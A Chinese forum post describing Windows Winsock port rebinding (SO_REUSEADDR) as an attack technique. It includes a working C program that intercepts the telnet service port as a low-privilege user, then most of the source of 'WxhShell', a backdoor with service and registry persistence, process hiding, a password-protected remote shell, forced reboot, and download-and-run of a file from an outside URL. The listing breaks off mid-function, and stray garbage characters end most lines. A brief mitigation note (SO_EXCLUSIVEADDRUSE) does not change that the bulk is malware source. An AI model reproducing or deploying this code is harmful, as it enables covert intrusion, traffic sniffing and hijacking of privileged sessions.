社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19596阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S$$:G$j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @:c 1+  
Jl9T[QAJn1  
  saddr.sin_family = AF_INET; e3Lf'+G\  
<T7y85  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IXg${I}_Q  
cAiIbh>c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9(@bjL465  
{{ wVM:1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YobIbpo  
VvltVYOZA  
  这意味着什么?意味着可以进行如下的攻击: =ecv;uu2  
|Y])|`_'G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i "-#1vy=  
.z{7 rH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 10 p+e_@  
4 5Ql7~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v =u|D$  
S>*T&K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cu`ZgK LQ  
xpS#l"dr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P, Vq/Tt  
.<j8>1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Dgkt-:S/T|  
'l;?P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R UX  
CId`6W  
  #include h`vM+,I  
  #include PDir?'  
  #include g`Rs;  
  #include    HQE#O4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AOfQqGf  
  int main() o%|1D'f^  
  { -(59F  
  WORD wVersionRequested; "qDEI}  
  DWORD ret; =_wgKXBFa  
  WSADATA wsaData; JN8k x;@  
  BOOL val; d>aZpJ[.  
  SOCKADDR_IN saddr; .*zQ\P  
  SOCKADDR_IN scaddr; Z>D7C?v:(  
  int err; U ^,ld`  
  SOCKET s; @.g4?c  
  SOCKET sc; W5x]bl#  
  int caddsize; E@@quK  
  HANDLE mt; iD]!PaFD`  
  DWORD tid;   '@W72ML.  
  wVersionRequested = MAKEWORD( 2, 2 ); B;-oa;m:E=  
  err = WSAStartup( wVersionRequested, &wsaData ); kNjbpCE\!  
  if ( err != 0 ) { ]c5Shj5|p  
  printf("error!WSAStartup failed!\n"); `#(4K4]1.  
  return -1; uj]GBo=  
  } tl4;2m3w  
  saddr.sin_family = AF_INET; * r%  
   2?"9NQvz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bX9}G#+U  
O-G@To3\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g =%W"v  
  saddr.sin_port = htons(23); RM`8P5i]sF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dE^'URBiA  
  { wJgM.V"yb  
  printf("error!socket failed!\n"); 9S<W~# zz  
  return -1; .58 AXg  
  } t=pG6U  
  val = TRUE; a{8GT2h`4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *;}!WDr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "Fke(?X'  
  { 6F<L4*4U  
  printf("error!setsockopt failed!\n"); jt]+(sx  
  return -1; FIS-xpv$  
  } ']dTW#i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bcZHFX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xCQ<G{;C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S1=c_!q%9  
'1mygplW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l p? h~  
  { *$s)p>  
  ret=GetLastError(); Z c"]Cv(  
  printf("error!bind failed!\n"); q3I,3?_  
  return -1; ``Nj Nd  
  } C :e 'wmA  
  listen(s,2); c"QI`;D_c  
  while(1) ;;U2I5 M7  
  { =B/^c>w2  
  caddsize = sizeof(scaddr); [oYe/<3  
  //接受连接请求 %%f=aPw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bc 0|tJc  
  if(sc!=INVALID_SOCKET) #{]=>n)j  
  { O ,DX%wk,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `t8e2?GH  
  if(mt==NULL) Pq`4Y K  
  { ~fgv7=(!  
  printf("Thread Creat Failed!\n"); foN;Q1?lS  
  break; ).&$pXj  
  } *JDc1$H0  
  } WUxr@0  
  CloseHandle(mt); cJty4m-  
  } 7'<4'BGzl]  
  closesocket(s); `&+ L/  
  WSACleanup(); :q= XE$%H  
  return 0; co12\,aD  
  }   &hF>}O  
  DWORD WINAPI ClientThread(LPVOID lpParam) CBvBBt*  
  { '}}DPoV  
  SOCKET ss = (SOCKET)lpParam; 0xjV*0?s  
  SOCKET sc; w}E?FEe.  
  unsigned char buf[4096]; M0]fh5O  
  SOCKADDR_IN saddr; qVY\5`f@  
  long num; =6 [!'K  
  DWORD val; q`\lvdl  
  DWORD ret; 1E-$f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N1SRnJu<f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !YoKKG~_0  
  saddr.sin_family = AF_INET; lmd0Q(I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f8n'9HOw>  
  saddr.sin_port = htons(23); h&Sl8$jVp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "JGaw_o  
  { \Z~m6;  
  printf("error!socket failed!\n"); |g9^]bT  
  return -1; M,[ClQ 9  
  } "q%)we  
  val = 100; .p5*&i7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s}A]lY  
  { TX 87\W.  
  ret = GetLastError(); _l  Jj6=  
  return -1; I?:V EN:  
  } j9,X.?Xvx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E>[~"~x"pV  
  { PF+`3  
  ret = GetLastError(); l==T3u r  
  return -1; n[clYi@e  
  } >s>5k O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 65}:2l2<  
  { o 1b#q/  
  printf("error!socket connect failed!\n"); 0 Hq$h  
  closesocket(sc); CUtk4;^y#  
  closesocket(ss); Oll\T GXP!  
  return -1; i44`$ps  
  } ~:0h o  
  while(1) k4|YaGhf  
  { W}e5 4-lu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9*x9sfCv9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _Ih~'Y Fd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @!Pq"/  
  num = recv(ss,buf,4096,0); fGxa~Unx  
  if(num>0) Di L@NU!$q  
  send(sc,buf,num,0); B>'\g O\2  
  else if(num==0) =l\D7s  
  break; L2:C6Sc  
  num = recv(sc,buf,4096,0); ZE1#{u~[y  
  if(num>0) rUuM__;d  
  send(ss,buf,num,0); vbWX`skU  
  else if(num==0) 9K&b1O@Aj  
  break; CR _A{(  
  } QTDI^ZeuF  
  closesocket(ss); rVO+ vhih  
  closesocket(sc); AvwX 2?tc  
  return 0 ; N@) D,~  
  } * 5j iC  
Xh{EItk~oO  
c~Ha68  
========================================================== lKa}Bcd  
>97V2W  
下边附上一个代码,,WXhSHELL 4}0s^>R  
Y/4B*>kl  
========================================================== 2#rF/!`^  
v3[ 2!UXq  
#include "stdafx.h" -PX {W)Aw  
h  qxe  
#include <stdio.h> _qGkTiP  
#include <string.h> .NPai4V'  
#include <windows.h> P!-9cd1 C,  
#include <winsock2.h> ]v+\v re  
#include <winsvc.h> eQNYfWR  
#include <urlmon.h> f6z[k_lLN  
=T+<>/[  
#pragma comment (lib, "Ws2_32.lib") .-o$ IQsS  
#pragma comment (lib, "urlmon.lib") 8J>s|MZ  
[WB8X,  
#define MAX_USER   100 // 最大客户端连接数 ~UL; O\-b0  
#define BUF_SOCK   200 // sock buffer a|OX4  
#define KEY_BUFF   255 // 输入 buffer 1_F2{n:yp  
0uj3kr?cv  
#define REBOOT     0   // 重启 U/TF,JUI  
#define SHUTDOWN   1   // 关机 f):|Ad|  
VkUMMq{  
#define DEF_PORT   5000 // 监听端口 mH;\z;lyK  
oo /#]a  
#define REG_LEN     16   // 注册表键长度 T[c ;},  
#define SVC_LEN     80   // NT服务名长度 zHyM@*Gf(  
9V\5`QXu  
// 从dll定义API ['{mW4i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -[G+*3Y{7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LB-4/G$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /5SBLp}Sy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Es)Kw3^a  
Y68oBUd_E  
// wxhshell配置信息 'w&,3@Z  
struct WSCFG { +$ P0&YaQ  
  int ws_port;         // 监听端口 {wK98>$a  
  char ws_passstr[REG_LEN]; // 口令 P)Sw`^d  
  int ws_autoins;       // 安装标记, 1=yes 0=no >+&524xc  
  char ws_regname[REG_LEN]; // 注册表键名 EdLbVrN,  
  char ws_svcname[REG_LEN]; // 服务名 s:6H^DQ"C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s<aJ pi{n4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7mt;qn?n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XB^o>/|@S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  >.0B%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l(*`,-pv:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6> X7JMRY  
([^1gG+>J  
}; 7]62=p2R  
l7nc8K  
// default Wxhshell configuration ' 4ftclzL  
struct WSCFG wscfg={DEF_PORT, H W)> `  
    "xuhuanlingzhe", 7$Jb"s  
    1, 1d"g $i4e  
    "Wxhshell", Ic P]EgB  
    "Wxhshell", }e  s  
            "WxhShell Service",  lEh;MJ  
    "Wrsky Windows CmdShell Service", 1=}+NK!  
    "Please Input Your Password: ", Mnc9l ^  
  1, lmf vT}$B  
  "http://www.wrsky.com/wxhshell.exe", 1pg&?L.MA  
  "Wxhshell.exe" }CIH1q3P  
    }; yb\T< *  
$SQ UN*/>  
// 消息定义模块 *eK\W00  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uB_8P+h7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P%2aOsD0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]?rVram;z  
char *msg_ws_ext="\n\rExit."; 0%&ZR=y(G  
char *msg_ws_end="\n\rQuit."; g(& huS  
char *msg_ws_boot="\n\rReboot..."; 5$$Yce=k  
char *msg_ws_poff="\n\rShutdown..."; KPHtD4  
char *msg_ws_down="\n\rSave to "; ;UUpkOQO(  
=HapCmrx8  
char *msg_ws_err="\n\rErr!"; `1 A,sXfa  
char *msg_ws_ok="\n\rOK!"; fqpbsM;M]  
3b{ 7Z 2  
char ExeFile[MAX_PATH]; u a%@Ay1|  
int nUser = 0; oN({X/P2j  
HANDLE handles[MAX_USER]; S#Q0aG j  
int OsIsNt; ( f]@lNmx  
 S1$lNB  
SERVICE_STATUS       serviceStatus; BA(erf>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ec'Hlsgh&T  
7qsu0 .[d  
// 函数声明 ! [3  /!  
int Install(void); <$z6:4uN_  
int Uninstall(void); S3oyx#R('O  
int DownloadFile(char *sURL, SOCKET wsh); NVnId p  
int Boot(int flag); !WS Y75  
void HideProc(void); C GN=kQ  
int GetOsVer(void); I%(YR"  
int Wxhshell(SOCKET wsl); wE3L,yx=  
void TalkWithClient(void *cs); ml,FBBGq|-  
int CmdShell(SOCKET sock); (fA>@5n  
int StartFromService(void); VdL*"i  
int StartWxhshell(LPSTR lpCmdLine); baQORU=X  
Yyxsj9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M}fk[Yr>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |E?PQ?P  
/ f5q9sp8  
// 数据结构和表定义 22OfbwCb  
SERVICE_TABLE_ENTRY DispatchTable[] = Y5{KtW  
{ |`|#-xu  
{wscfg.ws_svcname, NTServiceMain}, 'GI| t  
{NULL, NULL} ='vD4}"j  
}; TUBpRABH  
k=W~ot &  
// 自我安装 n nOgmI7  
int Install(void) oBO4a^D  
{ $-)T  
  char svExeFile[MAX_PATH]; `5Bv2 wlIV  
  HKEY key; l"zA~W/  
  strcpy(svExeFile,ExeFile); u{-@,-{  
B[ .$<$}G  
// 如果是win9x系统,修改注册表设为自启动 =,b6yV+$D  
if(!OsIsNt) { ;Rlf[](iL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %9 3R/bx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sa[?B  
  RegCloseKey(key); vM'!WVs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bs `mzA54  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .mHVJ5^:4\  
  RegCloseKey(key); [uwn\-  
  return 0; ~GE|,Np  
    } bf=!\L$  
  } p/yz`m T'w  
} hg %iv%1B'  
else { 0bpGPG's&  
bY-koJo  
// 如果是NT以上系统,安装为系统服务 `Ez8!d{MD8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @d5$OpL$%  
if (schSCManager!=0) 1N_T/I8_F  
{ /Xq|S O  
  SC_HANDLE schService = CreateService 6j8\3H~  
  ( 6oa>\PDy   
  schSCManager, '>ASr]Q  
  wscfg.ws_svcname, <BIQc,)2}  
  wscfg.ws_svcdisp, e"UXG\8D  
  SERVICE_ALL_ACCESS, .sc80i4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7;c^*"Ud  
  SERVICE_AUTO_START, CIui9XNU  
  SERVICE_ERROR_NORMAL, ] g<$f#S  
  svExeFile, 2ql)]Skg6  
  NULL, "n{';Q)  
  NULL, n=)LB& m  
  NULL, pTaC$Ne  
  NULL, ZeY|JH1  
  NULL xQ';$&  
  ); C =CZtjUt  
  if (schService!=0) P l!E$   
  { w_V A:]j4  
  CloseServiceHandle(schService); _xH<R  
  CloseServiceHandle(schSCManager); Yn$: |$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H "Io!{aKU  
  strcat(svExeFile,wscfg.ws_svcname); V FM!K$_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p0y|pD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !VaC=I^{  
  RegCloseKey(key); t^Lb}A#$4  
  return 0; </Y(4Xwf=  
    } s FJ:09L|  
  } C~ A`h=A<  
  CloseServiceHandle(schSCManager); RT3(utwO  
} $9j>oUG  
} P3YM4&6XA  
,}khu  
return 1; q"@ #FS  
} Q=>5@sZB  
ZXL'R |?  
// 自我卸载 4DDBf j  
int Uninstall(void) 5~Ek_B  
{ WO{7/h</  
  HKEY key; U}4I29M  
/P-#y@I  
if(!OsIsNt) { Sk"hqF.2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { */JYP +  
  RegDeleteValue(key,wscfg.ws_regname); gvc/Z <Y  
  RegCloseKey(key); /F9Dg<#a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '^C *%"I]  
  RegDeleteValue(key,wscfg.ws_regname); aeI0;u  
  RegCloseKey(key); )A%* l9\nG  
  return 0; h_ccE 6]t  
  } 63%V_B|  
} M9o/6  
} }:YL'$:5!  
else { q]C_idK=  
(3$DUvx7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1<Mb@t  
if (schSCManager!=0) XkkzY5rxOc  
{ :!Dm,PP%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iPV-w_HQ  
  if (schService!=0) E3Y0@r  
  { - AgD  
  if(DeleteService(schService)!=0) { ;-JFb$m  
  CloseServiceHandle(schService); ! [1aP,  
  CloseServiceHandle(schSCManager); @k)J i!7  
  return 0; ybsw{[X>M  
  } )eT>[['fm  
  CloseServiceHandle(schService); D!OY<?  
  } tY]?2u%)  
  CloseServiceHandle(schSCManager); kaQNcMcq  
} 2L;=wP2?{  
} m,t{D, 2  
A?lR[`'u\  
return 1; ZklpnL*!  
} X<.l(9$  
^^7@kh mNl  
// 从指定url下载文件 Jnd_cJ]a  
int DownloadFile(char *sURL, SOCKET wsh) 9XtO#!+48  
{ RQ[/s lg  
  HRESULT hr; 2Sa{=x N)  
char seps[]= "/"; =No#/_  
char *token; Zzg zeT+bv  
char *file; 4H,c;g=!  
char myURL[MAX_PATH]; YLTg(*  
char myFILE[MAX_PATH]; 4U}J?EB?K  
zSD_t  
strcpy(myURL,sURL); w' J`$=  
  token=strtok(myURL,seps); z8'zH>  
  while(token!=NULL) lb}RPvQE  
  { svDnw cl  
    file=token; 2]9 2J  
  token=strtok(NULL,seps); ,D*bLXWh  
  } `:~Wu/Ogr  
'dh{q`#0  
GetCurrentDirectory(MAX_PATH,myFILE); `?R{sNr.  
strcat(myFILE, "\\"); EATVce]T  
strcat(myFILE, file); f42F@M(:  
  send(wsh,myFILE,strlen(myFILE),0); 1Dc6v57  
send(wsh,"...",3,0); ebJTrh<{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gsEcvkj*  
  if(hr==S_OK) '"\n,3h  
return 0; F1_,V?  
else 0AffD:  
return 1; t7u*j-YE  
r9N?z2X  
} ko[d axUB  
|5dNJF8;Q  
// 系统电源模块 "u4x#7n|  
int Boot(int flag) W?aP%D"(i  
{ R\&z3<-S  
  HANDLE hToken; 1 ; <Vr<.  
  TOKEN_PRIVILEGES tkp; #o} /'  
5vR])T/S0  
  if(OsIsNt) { 'v0rnIsI?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uQn1kI[y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F5YoEWS  
    tkp.PrivilegeCount = 1; D=3Z] 'A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F."ZCEb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B=n90XO |  
if(flag==REBOOT) { xSM1b5=Pu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0U*f"5F  
  return 0; Z?=o(hkd  
} L"dN $ A  
else { +2eri_p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S& IW]ffK  
  return 0; |XG&[TI- "  
} e_3jyA@v  
  } $G)HU6hF*  
  else { ~XWBLU<  
if(flag==REBOOT) { N;-%:nC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y>E:]#F  
  return 0; 1QD49)  
} {Y2 J:x  
else { XY? Cl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3o>JJJ=]  
  return 0; t}Td$K7  
} {j`8XWLZZN  
} 6A.%)whI;  
)i:*r8*~  
return 1; b3[!1i  
} *JFkqbf  
`w >D6K+  
// win9x进程隐藏模块 =$y J66e  
void HideProc(void) )hQ]>o@i{  
{ P=<lY},  
Z]DZ:dF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wY%t# [T3  
  if ( hKernel != NULL ) ??.aLeF&  
  { C%E~9_w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rf]z5;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jz=V*p}6  
    FreeLibrary(hKernel); ey9hrRMR  
  } p&<n_b  
Ev3'EA~`  
return; ,aS+RJNM  
} }|;j2'(R  
DQ/rx`BG  
// 获取操作系统版本 \P":V  
int GetOsVer(void) v9 /37AU  
{ '4#NVXVQm  
  OSVERSIONINFO winfo; YG= :lf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mDv<d=p!  
  GetVersionEx(&winfo); [) >Yp-n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gq*W 0S  
  return 1; z(.,BB[  
  else -!5l4  
  return 0; kxEq_FX  
} #Q["[}flVv  
II _CT=  
// 客户端句柄模块 bw/mF5AsW  
int Wxhshell(SOCKET wsl) ~rjK*_3/  
{ 8;<aco/62  
  SOCKET wsh; lg )xQV  
  struct sockaddr_in client; @mg5vt!$`  
  DWORD myID; vyWx{ @  
m*iSW]&  
  while(nUser<MAX_USER) <v_Wh@m  
{ gG.+3=  
  int nSize=sizeof(client); (gvnIoDl0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V(LfFO{^>?  
  if(wsh==INVALID_SOCKET) return 1; d^tY?*n  
bW/T}FN D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l]t^MEoc8  
if(handles[nUser]==0) $K\e Pfk  
  closesocket(wsh); M e:l)8+  
else 3@O/#CP+  
  nUser++; 3rN}iSF^  
  } @Ss W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e~># M $  
9)=bBQyr:  
  return 0; ~^'t70 :D  
} "mU2^4q  
,SdxIhL  
// 关闭 socket #7:ah  
void CloseIt(SOCKET wsh) W:wSM *  
{ %M8Q6  
closesocket(wsh); f0%'4t  
nUser--;  4y5Q5)j  
ExitThread(0); 4~oRcO8!Y  
} g~9rt_OV  
gwB0/$!4"  
// 客户端请求句柄 &E!m(|6?+  
void TalkWithClient(void *cs) '?NMQ  
{  '@.Lg0`  
f` -vnh^+  
  SOCKET wsh=(SOCKET)cs; 4wEkxCWp/  
  char pwd[SVC_LEN]; x2b t^!t.  
  char cmd[KEY_BUFF]; =)iAU/*N  
char chr[1]; +m~3InWq  
int i,j; u!It' ;j  
QiVKaBS8  
  while (nUser < MAX_USER) { }LEasj  
w_QWTD 0  
if(wscfg.ws_passstr) { |VyN>&r~6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0oi.k;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1`Bhis9X8  
  //ZeroMemory(pwd,KEY_BUFF); 0f3>s>`M  
      i=0; <5FGL96  
  while(i<SVC_LEN) { mQU t 'j4  
Gcxz$.(  
  // 设置超时 [V;u7Z\r-  
  fd_set FdRead; %(\et%[]  
  struct timeval TimeOut; s!F8<:FRJD  
  FD_ZERO(&FdRead); (CYQ>)a  
  FD_SET(wsh,&FdRead); UhU+vy6)/  
  TimeOut.tv_sec=8; ~Hx>yn94e  
  TimeOut.tv_usec=0; n5fc_N/8O=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zE}ry!{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x;STt3M~  
5GJa+St?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {G|= pM\'  
  pwd=chr[0]; JRtDjZ4>  
  if(chr[0]==0xd || chr[0]==0xa) { `'bu8JK  
  pwd=0; ue!4By8T  
  break; zx?|5=+!  
  } IFF1wfC  
  i++; 9!Fg1 h=  
    } o7v9xm+  
ob[G3rfd@Z  
  // 如果是非法用户,关闭 socket {k'$uW `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G*zhy!P  
} `yRt?UQRS  
qUQP.4Z95  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PnI_W84z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZRa~miKyM  
m='_ O+ $  
while(1) { I]91{dq  
!]z4'*)W  
  ZeroMemory(cmd,KEY_BUFF);  y]ya.YG  
!}"PHby5N  
      // 自动支持客户端 telnet标准   +\cG{n*  
  j=0; {]7lh#M  
  while(j<KEY_BUFF) { ECuNkmUI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9N<TJp,q  
  cmd[j]=chr[0]; 2(9~G|C.  
  if(chr[0]==0xa || chr[0]==0xd) { lO1]P&@  
  cmd[j]=0; T&E'MB  
  break; LdX'V]ITh  
  } tRTJQ  
  j++; j>hBNz  
    } _=I&zUF  
[O3)s]|  
  // 下载文件 bW^{I,b<F  
  if(strstr(cmd,"http://")) { {>X2\.Rl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [XNDYaF8  
  if(DownloadFile(cmd,wsh)) };>~P%u32  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z4T{CwD`D  
  else MeO2 cy!5q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RJD(c#r$  
  } >#5jO9  
  else { -9q3]nmT(  
+,4u1`c|$  
    switch(cmd[0]) { A4TW`g_zm  
  Ot~buf'|  
  // 帮助 ?T>)7Y)  
  case '?': { &f/"ir[8i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *XG.?%x*|  
    break; /+?eSgM/  
  } SJ&+"S&  
  // 安装 >ti)m >f  
  case 'i': { *7yrm&@nG  
    if(Install()) Ce@"+k+w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9PEn[t@  
    else m]ALW0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <*HsJwr)u  
    break; <s (o?U  
    } tAS[T9B  
  // 卸载 sbq:8P#  
  case 'r': { h"ATRr^  
    if(Uninstall()) 7,R ~2ss5z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UH7FIM7kX  
    else ##yH*{/&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \`>f?}4  
    break; i [2bz+Z?  
    } n wO5<b;  
  // 显示 wxhshell 所在路径 ^-qz!ib  
  case 'p': {  ^J& }C  
    char svExeFile[MAX_PATH]; +-MieiKv  
    strcpy(svExeFile,"\n\r"); 8} |!p>  
      strcat(svExeFile,ExeFile); 6JE_rAab  
        send(wsh,svExeFile,strlen(svExeFile),0); :}Z Y*ind  
    break; /k=k rAz.  
    } X->` ~-aj  
  // 重启 C=P}@|K  
  case 'b': { z_nY>_L83*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }_9yemP  
    if(Boot(REBOOT)) fvZ[eJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'F Cmbry  
    else { ;% l0Ml>  
